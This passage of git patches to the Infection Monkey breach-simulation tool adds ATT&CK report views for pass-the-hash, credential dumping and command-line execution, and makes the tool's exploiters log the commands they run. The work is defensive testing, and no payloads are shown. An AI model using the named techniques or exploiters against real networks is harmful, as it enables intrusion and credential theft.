From c4d5aed01fb27ed668fc0aeb3610d93479d9328b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 6 Jun 2019 18:04:29 +0300 Subject: [PATCH 01/31] PTH implementation finished, helper methods added --- .../cc/services/attack/attack_report.py | 5 +- .../attack/technique_reports/T1075.py | 43 +++++++++++++++++ .../components/attack/techniques/Helpers.js | 7 +++ .../src/components/attack/techniques/T1075.js | 46 +++++++++++++++++++ .../src/components/attack/techniques/T1110.js | 11 ++--- .../src/components/attack/techniques/T1197.js | 9 +--- .../src/components/attack/techniques/T1210.js | 11 ++--- .../report-components/AttackReport.js | 6 ++- 8 files changed, 111 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1075.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 6801bcd64..49d51ffe5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,5 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075 from monkey_island.cc.services.attack.attack_telem import AttackTelemService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -11,7 +11,8 @@ LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210.T1210, 'T1197': T1197.T1197, - 'T1110': T1110.T1110} + 'T1110': T1110.T1110, + 'T1075': T1075.T1075} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py new file mode 100644 index 000000000..2ac3d5420 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -0,0 +1,43 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1075(AttackTechnique): + + tech_id = "T1075" + unscanned_msg = "Monkey didn't try to use pass the hash attack." + scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." + used_msg = "Monkey successfully used hashed credentials." + + login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': {'$ne': ''}}]}}} + + # Gets data about successful PTH logins + query = [{'$match': {'telem_type': 'exploit', + 'data.attempts': {'$not': {'$size': 0}, + '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': {'$ne': ''}}]}, + {'result': True}]}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + + @staticmethod + def get_report_data(): + data = {'title': T1075.technique_title(T1075.tech_id)} + successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) + data.update({'successful_logins': successful_logins}) + if successful_logins: + data.update({'message': T1075.used_msg, 'status': ScanStatus.USED.name}) + elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): + data.update({'message': T1075.scanned_msg, 'status': ScanStatus.SCANNED.name}) + else: + data.update({'message': T1075.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js new file mode 100644 index 000000000..b15bba693 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -0,0 +1,7 @@ +import React from "react"; + +export function RenderMachine(val){ + return ( + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} + ) +}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js new file mode 100644 index 000000000..f365e90f1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -0,0 +1,46 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" + + +class T1075 extends React.Component { + + constructor(props) { + super(props); + this.props.data.successful_logins.forEach((login) => { + if(login.attempts[0].ntlm_hash !== ""){ + login.attempts[0].hashType = 'NTLM'; + } else if(login.attempts[0].lm_hash !== ""){ + login.attempts[0].hashType = 'LM'; + } + }) + } + + static getHashColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, + {Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, + {Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ +
+ ); + } +} + +export default T1075; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index 64619ad55..468a9e79a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" class T1110 extends React.Component { @@ -12,7 +13,7 @@ class T1110 extends React.Component { static getServiceColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 160}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, @@ -23,13 +24,7 @@ class T1110 extends React.Component { }])}; static renderCreds(creds) { - return {creds.map(cred =>
{cred}
)}
- }; - - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) + return {creds.map(cred =>
{cred}
)}
}; render() { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js index cc963dde7..e4c7d841d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" class T1210 extends React.Component { @@ -8,7 +9,7 @@ class T1210 extends React.Component { constructor(props) { super(props); this.columns = [ {Header: 'Machine', - id: 'machine', accessor: x => T1210.renderMachine(x), + id: 'machine', accessor: x => RenderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', @@ -21,12 +22,6 @@ class T1210 extends React.Component { ] } - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) - }; - renderExploitedMachines(){ if (this.props.data.bits_jobs.length === 0){ return (
) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 5820d25d0..76bc5d196 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" class T1210 extends React.Component { @@ -12,7 +13,7 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, @@ -23,7 +24,7 @@ class T1210 extends React.Component { static getExploitColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, @@ -31,12 +32,6 @@ class T1210 extends React.Component { ] }])}; - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) - }; - static renderEndpoint(val){ return ( {(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 19a7bb7c6..58f8ea4d7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -2,17 +2,19 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; +import '../../styles/Collapse.scss' import AuthComponent from '../AuthComponent'; import Collapse from '@kunukn/react-collapse'; import T1210 from '../attack/techniques/T1210'; import T1197 from '../attack/techniques/T1197'; import T1110 from '../attack/techniques/T1110'; -import '../../styles/Collapse.scss' +import T1075 from "../attack/techniques/T1075"; const tech_components = { 'T1210': T1210, 'T1197': T1197, - 'T1110': T1110 + 'T1110': T1110, + 'T1075': T1075 }; const classNames = require('classnames'); From 350c7d93fa67de6d94b88db2e2f5f32efae08972 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 7 Jun 2019 11:51:47 +0300 Subject: [PATCH 02/31] T1003 credential dumping implemented --- .../cc/services/attack/attack_report.py | 5 ++-- .../attack/technique_reports/T1003.py | 25 +++++++++++++++++++ .../src/components/attack/techniques/T1003.js | 24 ++++++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 2 +- .../report-components/AttackReport.js | 6 +++-- 5 files changed, 57 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1003.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 49d51ffe5..b1079d8c7 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,5 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003 from monkey_island.cc.services.attack.attack_telem import AttackTelemService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -12,7 +12,8 @@ LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210.T1210, 'T1197': T1197.T1197, 'T1110': T1110.T1110, - 'T1075': T1075.T1075} + 'T1075': T1075.T1075, + 'T1003': T1003.T1003} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py new file mode 100644 index 000000000..002e2eeb7 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -0,0 +1,25 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1003(AttackTechnique): + + tech_id = "T1003" + unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + scanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + used_msg = "Monkey successfully obtained some credentials from systems on the network." + + query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, + {'data.credentials': {'$gt': {}}}]} + + @staticmethod + def get_report_data(): + data = {'title': T1003.technique_title(T1003.tech_id)} + if mongo.db.telemetry.count_documents(T1003.query): + data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name}) + else: + data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js new file mode 100644 index 000000000..1ec0b000e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -0,0 +1,24 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import '../../report-components/StolenPasswords' +import StolenPasswordsComponent from "../../report-components/StolenPasswords"; + + +class T1003 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ +
+ ); + } +} + +export default T1003; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 72aeca574..3a21b721e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -520,7 +520,7 @@ class ReportPageComponent extends AuthComponent { This report shows information about ATT&CK techniques used by Infection Monkey.

- +

) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 58f8ea4d7..b10b1ff7d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -9,12 +9,14 @@ import T1210 from '../attack/techniques/T1210'; import T1197 from '../attack/techniques/T1197'; import T1110 from '../attack/techniques/T1110'; import T1075 from "../attack/techniques/T1075"; +import T1003 from "../attack/techniques/T1003"; const tech_components = { 'T1210': T1210, 'T1197': T1197, 'T1110': T1110, - 'T1075': T1075 + 'T1075': T1075, + 'T1003': T1003 }; const classNames = require('classnames'); @@ -101,7 +103,7 @@ class AttackReportPageComponent extends AuthComponent { const TechniqueComponent = tech_components[technique]; return (
- +
); } From af63e93b139a948c0829e245142bb8c444f44e65 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 7 Jun 2019 16:49:04 +0300 Subject: [PATCH 03/31] Table not shown if no hashes were used. --- .../cc/ui/src/components/attack/techniques/T1075.js | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index f365e90f1..6e80c9196 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -32,12 +32,13 @@ class T1075 extends React.Component {
{this.props.data.message}

- + {this.props.data.status === 'USED' ? + : ""}
); } From c99ceff21df431e588461efe55c4dbf27b055de2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 7 Jun 2019 17:00:08 +0300 Subject: [PATCH 04/31] Table not shown if no passwords were stolen --- .../cc/ui/src/components/attack/techniques/T1003.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index 1ec0b000e..d7783714a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -15,7 +15,9 @@ class T1003 extends React.Component {
{this.props.data.message}

- + {this.props.data.status === 'USED' ? + + : ""}
); } From 9b08e606f8e23ec3bb3a77d5997353a5f9f9b72e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 08:46:35 +0300 Subject: [PATCH 05/31] CLI implementation started --- monkey/infection_monkey/exploit/__init__.py | 3 +- monkey/infection_monkey/exploit/hadoop.py | 1 + monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/rdpgrinder.py | 2 +- monkey/infection_monkey/exploit/shellshock.py | 1 + monkey/infection_monkey/exploit/sshexec.py | 1 + monkey/infection_monkey/exploit/vsftpd.py | 1 + monkey/infection_monkey/exploit/web_rce.py | 2 + .../infection_monkey/exploit/win_ms08_067.py | 5 ++- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 14 +++++++ .../attack/technique_reports/T1059.py | 30 +++++++++++++++ .../src/components/attack/techniques/T1059.js | 38 +++++++++++++++++++ .../src/components/attack/techniques/T1075.js | 4 +- 14 files changed, 100 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1059.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 7353d77bc..84dd81393 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -24,7 +24,8 @@ class HostExploiter(object): 'started': '', 'finished': '', 'vulnerable_urls': [], - 'vulnerable_ports': []} + 'vulnerable_ports': [], + 'executed_cmds': []} self._exploit_attempts = [] self.host = host diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f02c4f3d3..1e8ac9d8e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() + self._exploit_info['executed_cmds'].append(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c7d29c8c2..1f21f9ecd 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -76,7 +76,7 @@ class MSSQLExploiter(HostExploiter): commands.extend(monkey_args) MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - + self._exploit_info['executed_cmds'].append(commands[-1]) return True @staticmethod diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 8e219b5c8..dcbc01b1d 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) - + self._exploit_info['executed_cmds'].append(command) return True diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 2f6e3516f..b308c57fe 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,6 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue + self._exploit_info['executed_cmds'].append(cmdline) return True return False diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 09982876d..9aafae2a4 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -178,6 +178,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() + self._exploit_info['executed_cmds'].append(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 3f6a7c304..23a89a96e 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -138,6 +138,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + self._exploit_info['executed_cmds'].append(run_monkey) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 2b08575c3..57a4cfa60 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -419,6 +419,8 @@ class WebRCE(HostExploiter): LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) return False LOG.info("Execution attempt finished") + + self._exploit_info['executed_cmds'].append(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 41b3820d5..72fca6d1d 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -92,7 +92,7 @@ class SRVSVC_Exploit(object): def get_telnet_port(self): """get_telnet_port() - + The port on which the Telnet service will listen. """ @@ -100,7 +100,7 @@ class SRVSVC_Exploit(object): def start(self): """start() -> socket - + Exploit the target machine and return a socket connected to it's listening Telnet service. """ @@ -153,6 +153,7 @@ class SRVSVC_Exploit(object): class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = 'Microsoft Server Service' _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index b1079d8c7..4ec62d7a2 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,5 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059 from monkey_island.cc.services.attack.attack_telem import AttackTelemService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -13,7 +13,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1197': T1197.T1197, 'T1110': T1110.T1110, 'T1075': T1075.T1075, - 'T1003': T1003.T1003} + 'T1003': T1003.T1003, + 'T1059': T1059.T1059} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 2a59103ad..a79b57a87 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -84,5 +84,19 @@ SCHEMA = { } } }, + "execution": { + "title": "Execution", + "type": "object", + "properties": { + "T1059": { + "title": "T1059 Command line interface", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use command-line interfaces to interact with systems " + "and execute other software during the course of an operation.", + } + } + }, } } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py new file mode 100644 index 000000000..bf29247fd --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -0,0 +1,30 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1059(AttackTechnique): + + tech_id = "T1059" + unscanned_msg = "Monkey didn't exploit any machines to run commands at." + scanned_msg = "" + used_msg = "Monkey successfully ran commands on exploited machines in the network." + + query = [{'$match': {'telem_type': 'exploit', + 'data.info.executed_cmds': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) + data = {'title': T1059.technique_title(T1059.tech_id), 'data': cmd_data} + if cmd_data: + data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name}) + else: + data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js new file mode 100644 index 000000000..1cf93065f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" + + +class T1059 extends React.Component { + + constructor(props) { + super(props); + } + + static getHashColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + : ""} +
+ ); + } +} + +export default T1059; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 6e80c9196..9b7e921b7 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -22,8 +22,8 @@ class T1075 extends React.Component { columns: [ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, - {Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, - {Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, + {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, ] }])}; From 908c531696cd0e61274f6e7442fad0a25793d6e1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 11:31:04 +0300 Subject: [PATCH 06/31] command line implementation finished --- .../cc/services/attack/technique_reports/T1059.py | 2 +- .../cc/ui/src/components/attack/techniques/T1059.js | 9 +++++---- .../ui/src/components/report-components/AttackReport.js | 4 +++- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index bf29247fd..330b13c71 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -22,7 +22,7 @@ class T1059(AttackTechnique): @staticmethod def get_report_data(): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) - data = {'title': T1059.technique_title(T1059.tech_id), 'data': cmd_data} + data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data} if cmd_data: data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name}) else: diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 1cf93065f..4a65ee34a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -13,8 +13,9 @@ class T1059 extends React.Component { static getHashColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0], style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -26,9 +27,9 @@ class T1059 extends React.Component { {this.props.data.status === 'USED' ? : ""} ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index b10b1ff7d..20250873a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -10,13 +10,15 @@ import T1197 from '../attack/techniques/T1197'; import T1110 from '../attack/techniques/T1110'; import T1075 from "../attack/techniques/T1075"; import 